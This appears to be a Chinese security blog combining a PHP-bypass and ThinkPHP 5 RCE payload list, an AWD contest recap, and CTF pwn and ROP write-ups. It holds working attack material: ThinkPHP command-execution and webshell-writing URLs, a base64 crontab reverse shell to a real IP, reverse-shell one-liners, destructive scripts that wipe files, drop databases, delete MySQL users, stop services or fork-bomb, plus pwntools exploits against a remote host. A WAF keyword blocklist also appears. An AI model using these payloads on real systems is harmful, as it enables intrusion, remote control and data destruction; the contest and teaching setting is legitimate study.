  json绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
if (isset($_POST['message'])) {
$message = json_decode($_POST['message']);
$key ="*********";
if ($message->key == $key) {
echo "flag";
}
else {
echo "fail";
}
}
else{
echo "~~~~";
}
?>

  我们并不知道$key的值,但是当$message->key为整数时,$key也会被转化为整数,因此构造payload如下:

1
message={"key":0}

  array_search()绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
if(!is_array($_GET['test'])){exit();}
$test=$_GET['test'];
for($i=0;$i<count($test);$i++){
if($test[$i]==="admin"){
echo "error";
exit();
}
$test[$i]=intval($test[$i]);
}
if(array_search("admin",$test)===0){
echo "flag";
}
else{
echo "false";
}
?>

  array_search()这个函数在php Manual手册中写道:

1
mixed array_search ( mixed $needle , array $haystack [, bool $strict = false ] );

  在$haystack中查找$needle,若查到则返回index索引,第三个参数是选择是否开启严格比较.默认情况下比较模式为==,因此payload如下:

1
test[]=0

同样in_array()也有此漏洞

  strcmp()漏洞绕过php -v < 5.3

1
2
3
4
5
6
7
8
9
10
11
<?php
$password="***************"
if(isset($_POST['password'])){

if (strcmp($_POST['password'], $password) == 0) {
echo "Right!!!login success";n
exit();
} else {
echo "Wrong password..";
}
?>

  strcmp会比较两个字符串,若两者相等则返回0,但是当两者的类型不同时,strcmp()会发生错误,但是仍然会判断其相等.因此我们可以传入password[]=xx来进行绕过.

同样md5() sha1()等函数也存在类似漏洞.

  switch绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
$a="4admin";
switch ($a) {
case 1:
echo "fail1";
break;
case 2:
echo "fail2";
break;
case 3:
echo "fail3";
break;
case 4:
echo "sucess"; //结果输出success;
break;
default:
echo "failall";
break;
}
?>

  原理与上类似,不再阐述.

函数的漏洞

parse_url()

1
parse_url ( string $url [, int $component = -1 ] ) : mixed

  该函数解析URL,并返回其组成部分。其返回值为一个关联数组。该函数常用于获取url中的相关字段。例如:

1
2
$url=parse_url($_SERVER['REQUEST_URI']);
parse_str($url['query'],$query);

通过这种方式拿到url中的GET value。但是在php5.4.7之前此函数存在漏洞,举个栗子:

1
2
3
4
5
6
7
8
9
10
11
12
<?php 
$data = parse_url($_SERVER['REQUEST_URI']);
var_dump($data);
$filter=["cache", "binarycloud"];
foreach($filter as $f)
{
if(preg_match("/".$f."/i", $data['query']))
{
die("Attack Detected");
}
}
?>

正常情况下我们curl "127.0.0.1/a.php?/cache"会被检测到,这个时候一个通用的绕过方式为:

1
curl "127.0.0.1//a.php?/cache"

这时a.php?/cache会被当作data[‘path’],而不再是query,导致绕过过滤。假如payload为///a.php?/cache那么parse_url()会返回False,也可以绕过过滤。

Thinkphp5 rce

  不再分析原理,直接总结payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
TP版本5.0.21:
http://localhost/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

http://localhost/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1


TP版本5.0.22:
http://url/to/thinkphp_5.0.22/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

http://url/to/thinkphp_5.0.22/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

TP5.1.*
thinkphp5.1.29为例

1、代码执行:
http://url/to/thinkphp5.1.29/?s=index/\think\Request/input&filter=phpinfo&data=1

2、命令执行:
http://url/to/thinkphp5.1.29/?s=index/\think\Request/input&filter=system&data=操作系统命令

3、文件写入(写shell):
http://url/to/thinkphp5.1.29/?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E

4、未知:
http://url/to/thinkphp5.1.29/?s=index/\think\view\driver\Php/display&content=%3C?php%20phpinfo();?%3E

5、代码执行:
http://url/to/thinkphp5.1.29/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

6、命令执行:
http://url/to/thinkphp5.1.29/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=操作系统命令

7、代码执行:
http://url/to/thinkphp5.1.29/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

8、命令执行:
http://url/to/thinkphp5.1.29/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=操作系统命令

2019.1.11爆出的漏洞:

1
2
3
index.php?s\captcha

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls -al

分析文章来自这里

2019-08-23

蓝帽杯awd总结

  最近沉迷于学习verilog以及计算机底层的相关知识,已经很久没有搞安全了.突然有机会打一场向往已久的AWD令我很是期待.终于我和朴淳 国峰 兴致冲冲的来到了国家会议中心,好生气派.

blue_hat1

  下午比赛刚开始,所有服务器直接宕机…不得不说奇安信这个做的不好.过了很久之后修好了,然后我们直接就被打懵了.一直疯狂掉分,直到挂上waf才稍有好转.总结一下学到的一点经验:

关于进攻


  反正这一次一下攻击都没有打,全程做防御.因为根本来不及代码审计,赛后问了一下对面的大佬怎么打的,他们说是thinkphp的cve,他们也就找到一个洞,然后就进了前十…可见赛前资料的准备有多么重要.另外就后门而言,见到了好几个特别骚的木马,当然不死马是最基础的,其实不死马能起作用主要是因为目录权限配置的有问题,主目录直接给了777肯定会被日啊.普通目录尽量别给写的权限.

  还有一种马是base64加密马,然后添加crontab来写一句话木马.妈的这个是真的难受,我只能写shell一直删,还有就是一定要搅屎.我们有个nginx服务直接被删掉了,我都没发现有这个目录…然后服务一down开始疯狂掉分,我只好去偷别人的静态网页,诶,心里苦.

  关于搅屎,我痛定思痛,写了好几个搅屎棍:

  • 无限复制:
1
2
3
4
5
6
7
8
<?php
set_time_limit(0);
ignore_user_abort(true);
while(1){
file_put_contents(randstr().'.php',file_get_content(__FILE__));
file_get_contents("http://127.0.0.1/");
}
?>

连名都是随机的,疯狂占资源,算是ddos吧

  • 改数据库密码:
1
2
3
4
5
6
update mysql.user set authentication_string=PASSWORD('p4rr0t');# 修改所有用户密码
flush privileges;
UPDATE mysql.user SET User='aaaaaaaaaaaa' WHERE user='root';
flush privileges;
delete from mysql.user ;#删除所有用户
flush privileges;

  当时比赛的时候没想起来…

  • 各种crontab骚东西:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#!/usr/bin/env python3
import base64


def crontab_reverse(reverse_ip, reverse_port):
crontab_path = "/tmp"
cmd = 'bash -i >& /dev/tcp/%s/%d 0>&1' % (reverse_ip, reverse_port)
crontab_cmd = "* * * * * bash -c '%s'\n" % cmd
encode_crontab_cmd = base64.b64encode(crontab_cmd)
cmd = "/bin/echo " + encode_crontab_cmd + " | /usr/bin/base64 -d | /bin/cat >> " + crontab_path + "/tmp_rev.conf" + " ; " + "/usr/bin/crontab " + crontab_path + "/tmp.conf"
return cmd


def crontab_rm(rm_paths='/var/www/html/'):
crontab_path = "/tmp"
cmd = '/bin/rm -rf %s' % rm_paths
crontab_cmd = "* * * * * %s\n" % cmd
encode_crontab_cmd = base64.b64encode(crontab_cmd)
cmd = "/bin/echo " + encode_crontab_cmd + " | /usr/bin/base64 -d | /bin/cat >> " + crontab_path + "/tmp_rm.conf" + " ; " + "/usr/bin/crontab " + crontab_path + "/tmp.conf"
return cmd


def crontab_flag_submit(flag_server, flag_port, flag_api, flag_token,
flag_host):
crontab_path = '/tmp'
cmd = '/usr/bin/curl "http://%s:%s/%s" -d "token=%s&flag=$(curl %s)" ' % (
flag_server, flag_port, flag_api, flag_token, flag_host)
crontab_cmd = "* * * * * %s\n" % cmd
encode_crontab_cmd = base64.b64encode(crontab_cmd)
cmd = "/bin/echo " + encode_crontab_cmd + " | /usr/bin/base64 -d | /bin/cat >> " + crontab_path + "/tmp_submit.conf" + " ; " + "/usr/bin/crontab " + crontab_path + "/tmp.conf"
return cmd


# cmd = crontab_flag_submit(flag_server='0.0.0.0',
# flag_port='8888',
# flag_api='submit',
# flag_token='bcbe3365e6ac95ea2c0343a2395834dd',
# flag_host='http://192.168.100.1/Getkey')
# print(cmd)

cmd = crontab_reverse('202.204.62.222',6666)
print(cmd)

  这个应该算是最牛逼的马了,waf基本挡不住,杀也杀不死.

  • 疯狂日apache2和nigix:
1
2
3
4
5
6
#!/usr/bin/env sh
while [[ 1 ]]
do
service apache2 stop
service nginx stop
done &

  杀不死基本凉凉,服务down扣分贼严重,

  • 删东西:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
set_time_limit(0);
ignore_user_abort(1);
unlink(__FILE__);
function getfiles($path){
foreach(glob($path) as $afile){
if(is_dir($afile))
getfiles($afile.'/*.php');
else
@file_put_contents($afile,"#Anything#");
//unlink($afile);
}
}
while(1){
getfiles(__DIR__);
sleep(10);
}
?>

<?php
set_time_limit(0);
ignore_user_abort(1);
array_map('unlink', glob("some/dir/*.php"));
?>

  不说了,心里痛…qaq

  • 删库跑路:
1
2
3
4
5
6
7
8
9
#!/usr/bin/env python3
import base64
def rm_db(db_user,my_db_passwd):
cmd = "/usr/bin/mysql -h localhost -u%s %s -e '"%(db_user,my_db_passwd)
db_name = ['performance_schema','mysql','flag']
for db in db_name:
cmd += "drop database %s;"%db
cmd += "'"
return cmd

  这个应该也是杀伤力极强,基本不会有人备份库子…

  • fork_bomb
1
2
#!/bin/sh
/bin/echo '.() { .|.& } && .' > /tmp/aaa;/bin/bash /tmp/aaa;

  这东西不及时发现就凉了,磁盘一会就爆了

  • 反弹后门技巧

shell

1
2
3
4
nc -e /bin/bash 1.3.3.7 4444
bash -c 'bash -i >/dev/tcp/1.3.3.7/4444 0>&1'
zsh -c 'zmodload zsh/net/tcp && ztcp 1.3.3.7 4444 && zsh >&$REPLY 2>&$REPLY 0>&$REPLY'
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:1.3.3.7:4444

python

1
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_REAM);s.connect(("127.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

php

1
php -r '$sock=fsockopen("your_ip","4444");exec("/bin/sh -i <&3 >&3 2>&3");'

windows

1
nc.exe -e /bin/bash 1.3.3.7 4444

  看到这么多罪恶的脚本心里好受了许多

一定要记得流量混淆,瞎鸡儿发一下垃圾包假装连一句话混淆视听

关于防御


  防御是真的难,但也基本就一下几点:

  1. 日志

    • /var/log/apache2/access.log
    • /var/log/apache2/error.log
    • /var/log/nginx/access.log
    • /var/log/nginx/error.log
  2. 要快速弄清楚服务的目录,做好备份!!!!!!!

    • 去看/etc/apache2/ports.conf和/etc/apache2/sites-available/000-default.conf,快速找到目录和对应端口
    • 去/etc/nginx/ 基本差不多
    • 不做备份哭鸡鸡
  3. 配置目录权限,尽量不要给777

  4. 挂waf,但是框架挂waf有些困难,我得再研究一下挂在哪里比较合适,盲猜得挂路由…

    • 这是我魔改的蜜罐,过滤了crontab和base64,我真是怕了…
    • 需要注意的是,最好建一个log目录然后给777,最好不要直接把log写在当前目录下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
<?php
error_reporting(0);
define('LOG_FILENAME', 'log.txt');
function waf() {
if (!function_exists('getallheaders')) {
function getallheaders() {
foreach ($_SERVER as $name => $value) {
if (substr($name, 0, 5) == 'HTTP_') $headers[str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5))))) ] = $value;
}
return $headers;
}
}
$get = $_GET;
$post = $_POST;
$cookie = $_COOKIE;
$header = getallheaders();
$files = $_FILES;
$ip = $_SERVER["REMOTE_ADDR"];
$method = $_SERVER['REQUEST_METHOD'];
$filepath = $_SERVER["SCRIPT_NAME"];
//rewirte shell which uploaded by others, you can do more
foreach ($_FILES as $key => $value) {
$files[$key]['content'] = file_get_contents($_FILES[$key]['tmp_name']);
file_put_contents($_FILES[$key]['tmp_name'], "virink");
}
unset($header['Accept']); //fix a bug
$input = array(
"Get" => $get,
"Post" => $post,
"Cookie" => $cookie,
"File" => $files,
"Header" => $header
);
//deal with
$pattern = "select|insert|update|delete|and|or|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile|dumpfile|sub|hex";
$pattern.= "|file_put_contents|fwrite|curl|system|eval|assert|crontab|base64";
$pattern.= "|passthru|exec|system|chroot|scandir|chgrp|chown|shell_exec|proc_open|proc_get_status|popen|ini_alter|ini_restore";
$pattern.= "|`|dl|openlog|syslog|readlink|symlink|popepassthru|stream_socket_server|assert|pcntl_exec";
$vpattern = explode("|", $pattern);
$bool = false;
foreach ($input as $k => $v) {
foreach ($vpattern as $value) {
foreach ($v as $kk => $vv) {
if (preg_match("/$value/i", $vv)) {
$bool = true;
logging($input);
break;
}
}
if ($bool) break;
}
if ($bool) break;
}
}
function logging($var) {
file_put_contents(LOG_FILENAME, "\r\n" . time() . "\r\n" . print_r($var, true) , FILE_APPEND);
// die() or unset($_GET) or unset($_POST) or unset($_COOKIE);
}
waf();
?>
  1. 写shell监视文件变化

  2. 不死马删除

    • 杀死www-data的进程,然后新建一个同名的文件
    • crontab马…只能写shell了,或者用php脚本删除crontab
1
2
#!/usr/bin/env sh
ps -aux|grep 'www-data'|awk '{print $2}'|xargs kill -9

总结


  其实awd不在于漏洞多,在于cve的利用和搅屎,有一段时间我们没有掉分结果排名十分靠前,说明能进攻的队基本没几个,所以在准备不周的情况下做好防御就行了.
  然后就是赛后一定要多尝试,要去熟悉主流框架的cve比如thinkphp laravel之类的.真正比赛的时候根本来不及仔细看哪些是后门,也没时间代码审计,全靠手感和经验.

广告


  这是我写的awd攻击框架(虽然没用上…),能批量shell执行,很舒服.欢迎体验parrot_shell

parrot

  最后来一张队友合照,嘿嘿404 forever

404

2019-06-03

adworld_pwn部分writeUp

stack2


  首先checksec一下发现有canary,然后托到ida里看一下,发现大部分变量都是 unsigned int 类型,考虑到可能会有整数溢出。接着我们发现可以通过 change number 选项来直接修改栈上的数据,因此我们想到直接修改返回地址,如图:

stack2_1

  接着我们发现 hackhere 函数,里面是直接调用的

1
system("/bin/bash");

stack2_2
  因此,我们可以直接将返回地址修改为这里,我们注意到数组的类型是 char ,因此在发送payload的时候可以直接按照小端序字符逐位发送。

  但是这里有一个坑点,我们通过静态分析发现数组距离 return_addr 的位置为0x74:

stack2_3

  但是我们在实际动态调试的时候发现其实际偏移为0x84,这里是因为,在进入main函数时进行了一步esp的对齐:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#开头
| ; arg int arg_4h @ esp+0x4
| 0x080485d0 8d4c2404 lea ecx, dword [arg_4h] ; 4
| 0x080485d4 83e4f0 and esp, 0xfffffff0
| 0x080485d7 ff71fc push dword [ecx - 4]
| 0x080485da 55 push ebp
| 0x080485db 89e5 mov ebp, esp
| 0x080485dd 51 push ecx

----------------------------------------------------------------
#结尾
| 0x080488eb 8b4dfc mov ecx, dword [local_4h]
| 0x080488ee c9 leave
| 0x080488ef 8d61fc lea esp, dword [ecx - 4]
\ 0x080488f2 c3 ret

  其实这里没有必要深入计算,因为动态调试可以算出偏移为0x84,但是作为一个知识点,我们还是要讨论一下这个main函数的返回方式,我们遇到过很多main函数通过ecx进行返回,并且有esp对其的过程。

  这一次,首先将 $esp + 4 放入ecx,然后 and esp,0xfffffff0 的作用是将esp的后4位清零(一个16进制位代表4个2进制位),然后将 $ecx - 4 压入栈中。注意,这里的 $ecx - 4 实际上就是return_addr,因为在进入main函数时,esp的位置就是return_addr,然后 lea ecx, dword [arg_4h] 这条语句将其实是把第一个参数的地址传给ecx,然后esp对齐后将return_addr压入栈中,然后就是正常的保存栈状态的操作。由于对齐esp的操作导致栈被拉长,拉伸的长度只能动态调试确定,此时栈大概是这样:

1
2
3
4
5
6
7
8
9
10
						high                                |		arg_4		 |
| return_addr | return_addr 1
| ..................... |

after align some span

| ecx - 4 | return_addr 2
| ebp |
| ecx |
low | .................... |

  返回的时候就恢复ecx的值然后直接利用 [ecx - 4] 回到return_addr1的位置。

因此,payload如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *

context.log_level = "debug"
system_addr = 0x804859B
#sh = process("./stack2")
sh = remote("111.198.29.45",53413)

sh.recv()
sh.sendline('1')
sh.recv()
sh.sendline('1')

def fuck(index, value):
sh.sendline("3")
sh.recv()
sh.sendline(str(index))
sh.recv()
sh.sendline(str(value))
sh.recv()

fuck(0x84,0x9b)
fuck(0x85,0x85)
fuck(0x86,0x04)
fuck(0x87,0x08)

sh.interactive()

  但是打过去之后发现系统提示:

1
"/usr/bin/bash" not found

  所以我们只好直接调用 system函数,并将sh传参给它,因此payload如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#!/usr/bin/env python
from pwn import *

context.log_level = "debug"

#sh = process("./stack2")
sh = remote("111.198.29.45",53413)

sys_addr = 0x0804859b

sh.recv()
sh.sendline('1')
sh.recv()
sh.sendline('1')

def fuck(index, value):
sh.sendline("3")
sh.recv()
sh.sendline(str(index))
sh.recv()
sh.sendline(str(value))
sh.recv()

fuck(0x84, 0x50)
fuck(0x85, 0x84)
fuck(0x86, 0x04)
fuck(0x87, 0x08)
#中间流出了4个字节,用于存放 fake_return_address
fuck(0x8c, 0x87) #这里我们发现地址是奇数位,是因为我们直接把bash拆开成了sh
fuck(0x8d, 0x89)
fuck(0x8e, 0x04)
fuck(0x8f, 0x08)

sh.sendline("5")

sh.interactive()

pwn1 babystack

  checksec后我们发现程序开启了canary,大概要进行canary的泄漏。

checksec

  在对main函数进行静态分析后我们发现了一个明显的溢出点, read() 函数存在经典溢出,而且在 case 2 处我们可以通过 puts() 函数泄露canary的值。

overflow

  对于canary的泄漏方式,最简单的一种是覆盖其最低为的 \x00 字节,防止截断,然后通过puts将其泄漏出来。

  仔细审计程序之后,我们基本清楚了攻击流程,首先这是一个经典的菜单类程序,通过case 1我们可以覆盖栈上的数据,因此,第一步我们先填充padding来覆盖canary的低位字节经计算offset为136个字节。

canary

  接着case 2打印canary,第二步,我们要通过rop来泄露system与bin_sh的地址。查询后发现了比较好用的 pop rdi ; ret .这个时候payload已经基本清楚了,用puts泄漏计算偏移,然后case 3退出是返回到main,接着case 3退出返回到system。

rop

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
#!/usr/bin/env python
from pwn import *

# sh = process('./babystack')
sh = remote('111.198.29.45',35646)
context.log_level = 'debug'
elf = ELF('./babystack')
libc = ELF('./libc-2.23.so')

puts_got = elf.got['puts']
puts_plt = elf.symbols['puts']
puts_libc = libc.symbols['puts']
system_libc = libc.symbols['system']
pop_rdi = 0x00400a93
main = 0x00400908
log.info('puts_got ' + hex(puts_got))
log.info('puts_plt ' + hex(puts_plt))
log.info('puts_libc ' + hex(puts_libc))

padding = 'a' * 136

#get_canary
sh.recvuntil('>> ')
sh.sendline('1')
sh.sendline(padding)
sh.recvuntil('>> ')
sh.sendline('2')
sh.recvuntil('a' * 136)
canary = u64(sh.recv()[:8]) - 0xa
log.info('canary ' + hex(canary))

#get_system
def getTarget(target, canary):
payload = 'a' * (0x90 - 0x8) + p64(canary) + 'b' * 8 + p64(pop_rdi) + p64(target) + p64(puts_plt)
payload += p64(main)
sh.recvuntil('>> ')
sh.sendline('1')
sleep(0.01)
sh.sendline(payload)
sh.recvuntil('>> ')
sh.sendline('3')
# sh.recvuntil('b'*8)
addr = u64(sh.recv()[:6].ljust(8, '\x00'))
return addr

sh.sendline('\n')
sh.recv()
puts_addr = getTarget(puts_got, canary)
log.info('puts_addr ' + hex(puts_addr))

#get_offset_system_bin_sh
offset = puts_addr - puts_libc
system_addr = system_libc + offset
bin_sh = offset + libc.search("/bin/sh").next()
log.info('system_addr ' + hex(system_addr))
log.info('bin_sh ' + hex(bin_sh))

#fuckup
sh.sendline('\n')
sh.recv()
sh.sendline('1')
payload = 'a' * (0x90 - 0x8) + p64(canary) + 'b' * 8 + p64(pop_rdi) + p64(bin_sh) + p64(system_addr)
payload += p64(main)
sh.sendline(payload)
sh.recv()
sh.sendline('3')

sh.interactive()

  在输入输出那里比较坑,需要多调几下。

2019-04-11

关于libc与rop的思考

那些奇妙的组合


  这两天读了一些书,学了一些新的知识,关于libc我们比较熟悉的是通过write() puts()等函数来泄漏system()/bin/sh的实际地址,然后通过缓冲区溢出来进行利用,这是常见而基础的ret2libc。
  但是我们来想想这几种情况,假如程序是64位那么我们如何将参数传入函数,假如我们没有拿到libc.so那么我们如何计算偏移,一般来说处理这中情况往往需要一些骚操作,以rop来实现libc泄漏往往是绕不过的。举个简单例子,在x86中write()传参是这样的:

1
payload = 'a' * 0x80 + p32(write_got) + p32(vuln) + p32(0) + p32(address_to_leak) + p32(8)

  通过调用write函数来泄漏address_to_leak的真实地址,一般我们会选择write_got自己或者libc_start_main_got来进行泄漏,因为 延迟绑定 的原因,只有被调用过的函数,他的got表里才会储存该函数在内存中的实际地址。

关于这一部分大家可以读一度《程序员的自我修养这本书》,还有下面这篇文章:
got&plt
详细的介绍了got与plt以及延迟绑定的问题

  我们现在就来总结一下如何处理x64的libc泄漏问题。

1.直接寻找可用于传参的budget

  既然要泄漏地址,那么必然要使用write()与puts()等函数,这个过程就涉及到参数的传递,不像x86那样可以用栈传递参数,x64拥有更多的寄存器,所以会优先选择使用寄存器来传递参数,关于寄存器我们需要将一下传参规则,先看下图:

register

  我们可以看到64位的程序的参数在6个以内时会优先调用寄存器,而使用的顺序如下:

1
2
3
4
5
6
7
8
9
10
11
%rdi => arg1

%rsi => arg2

%rdx => arg3

%rcx => arg4

%r8 => arg5

%r9 => arg6

  而 %rax 依旧用于保存返回值。知道这些储备知识以后,我们来开一个使用gadgets来控制程序的例子。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <dlfcn.h>

void systemaddr()
{
void* handle = dlopen("libc.so.6", RTLD_LAZY);
printf("%p\n",dlsym(handle,"system"));
fflush(stdout);
}

void vulnerable_function() {
char buf[128];
read(STDIN_FILENO, buf, 512);
}

int main(int argc, char** argv) {
systemaddr();
write(1, "Hello, World\n", 13);
vulnerable_function();
}

gcc -fno-stack-procter -no-pie -o rop_libc rop_libc1

  我们首先可以看到一个明显的缓冲区溢出,而且程序会自动输出system()在内存中的实际地址,这个时候我们可以想到只需要拥有 “/bin/sh” 就可以走上人生巅峰,这个时候我们考虑使用gadgets来将 “/bin/sh” 的地址传入 rdi。ok,用ROPgadget来搜索一波:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
ROPgadget 	--binary rop_libc1  --only "pop|ret"
====================================================
0x0000000000001294 : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000001296 : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000001298 : pop r14 ; pop r15 ; ret
0x000000000000129a : pop r15 ; ret
0x0000000000001293 : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000001297 : pop rbp ; pop r14 ; pop r15 ; ret
0x000000000000116f : pop rbp ; ret
0x000000000000129b : pop rdx ; ret
0x0000000000001299 : pop rsi ; pop r15 ; ret
0x0000000000001295 : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000001016 : ret
0x0000000000001072 : ret 0x2f
0x000000000000119a : ret 0xfffe

  我们发现结果并不理想,由于这个程序太小了,里面竟然没有 pop rdi ; ret 这条指令,那么我们只好换个思路,为什么不直接使用libc.so里的gadgets呢?灵机一动之后,我们想到可用使用write()来泄漏libc.so里的指令地址,话不多说,先搜一下symbols地址:

1
2
3
4
ROPgadget --binary libc.so.6 --only "pop|ret" 
=====================================================
0x000000000002456f : pop rdi ; pop rbp ; ret
0x0000000000023a5f : pop rdi ; ret

  果然命中注定的那个它出现了,0x23a5f:pop rdi ; ret 就是我们想要的gadgets,我们可以构造rop链了。

1
payload = "a" * 0x80 + 'b' * '8' + p64(pop_ret_addr) + p64(bin_sh) + p64(system_addr)

  但同时考虑到我们只需要执行system一次,所以似乎gadgets不含有ret也可以,那么我们的选择又多了一些:

1
2
3
4
5
6
ROPgadget --binary libc.so.6 --only "pop|call"
====================================================
0x00000000000bad0d : call qword ptr [rdi]
0x0000000000027225 : call rdi
0x00000000000f982b : pop rax ; pop rdi ; call rax
0x00000000000f982c : pop rdi ; call rax

  这时候我们看到了 0x00f982b : pop rax ; pop rdi ; call rax 这行指令应该也是可以的,我们只需要构造payload如下:

1
payload = 'a' * 0x80 + 'b' * 8 + p64(pop_pop_call) + p64(system_addr) + p64(bin_sh)

  此时system_addr被传入rax,bin_sh被传入rdi,最后调用call rax实现exploit,所以两条ROP都可以完成一次优雅的攻击,最终的exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *

sh = process('./rop_libc')

libc = ELF('./libc.so')

vuln_addr = 0x000011db

system_addr_str = sh.recvuntil("\n")
system_addr = int(system_addr_str,16)
print "system_addr= " + hex(system_addr)

pop_pop_call_offset = 0x00000000000f982b - libc.symbols['system']
print "pop_offset= " + hex(pop_pop_call_offset)

bin_sh_offset = 0x0000000000181519 - libc.symbols['system'] # libc.search('/bin/sh').next()
print "bin_sh_offset= " + hex(bin_sh_offset)

pop_pop_call_addr = system_addr + pop_pop_call_offset
print "pop_addr= " + hex(pop_pop_call_addr)
#pop_pop_call_addr = system_addr + pop_pop_call_offset
#print "pop_pop_call_addr = " + hex(pop_pop_call_addr)

bin_sh = system_addr + bin_sh_offset
print "bin_sh= " + hex(bin_sh)

payload = 'a'*0x88 + p64(pop_pop_call_addr) + p64(system_addr) + p64(bin_sh)
#payload = "a" * 0x80 + 'b' * '8' + p64(pop_ret_addr) + p64(bin_sh) + p64(system_addr)

sh.sendline(payload)

sh.interactive()

result

2.通用gadgets

  假如我们出现了更艰难的情况,我们需要传入更多的参数进去,比如write(),这时候要怎么办?我们查一下libc.so发现什么都没有,有点难受:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
0x0000000000106ab4 : pop r10 ; ret
0x0000000000024568 : pop r12 ; pop r13 ; pop r14 ; pop r15 ; pop rbp ; ret
0x0000000000023a58 : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000006f529 : pop r12 ; pop r13 ; pop r14 ; pop rbp ; ret
0x000000000002fc29 : pop r12 ; pop r13 ; pop r14 ; ret
0x00000000000396f5 : pop r12 ; pop r13 ; pop rbp ; ret
0x0000000000023f85 : pop r12 ; pop r13 ; ret
0x00000000000b5399 : pop r12 ; pop r14 ; ret
0x00000000000c513d : pop r12 ; pop rbp ; ret
0x0000000000024209 : pop r12 ; ret
0x000000000002456a : pop r13 ; pop r14 ; pop r15 ; pop rbp ; ret
0x0000000000023a5a : pop r13 ; pop r14 ; pop r15 ; ret
0x000000000006f52b : pop r13 ; pop r14 ; pop rbp ; ret
0x000000000002fc2b : pop r13 ; pop r14 ; ret
0x00000000000396f7 : pop r13 ; pop rbp ; ret
0x0000000000023f87 : pop r13 ; ret

  不太全但是可以发现几乎没有关于rdi等等有关参数的寄存器,这个时候我们就要采取一些骚办法.

__libc_csu_init

  这个函数在大部分程序初始化的时候都会出现,我们首先来看一下这个函数的源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
objdump -d rop_libc
====================================================

0000000000001240 <__libc_csu_init>:
1240: 41 57 push %r15
1242: 49 89 d7 mov %rdx,%r15
1245: 41 56 push %r14
1247: 49 89 f6 mov %rsi,%r14
124a: 41 55 push %r13
124c: 41 89 fd mov %edi,%r13d
124f: 41 54 push %r12
1251: 4c 8d 25 80 2b 00 00 lea 0x2b80(%rip),%r12 # 3dd8 <__frame_dummy_init_array_entry>

..........
#以下是关键
#gadget2
1278: 4c 89 fa mov %r15,%rdx
127b: 4c 89 f6 mov %r14,%rsi
127e: 44 89 ef mov %r13d,%edi
1281: 41 ff 14 dc callq *(%r12,%rbx,8)
1285: 48 83 c3 01 add $0x1,%rbx
1289: 48 39 dd cmp %rbx,%rbp
128c: 75 ea jne 1278 <__libc_csu_init+0x38>
128e: 48 83 c4 08 add $0x8,%rsp

#gadget1
1292: 5b pop %rbx
1293: 5d pop %rbp
1294: 41 5c pop %r12
1296: 41 5d pop %r13
1298: 41 5e pop %r14
129a: 41 5f pop %r15
129c: c3 retq #此处构造一些padding(7*8=56byte)就可以返回了

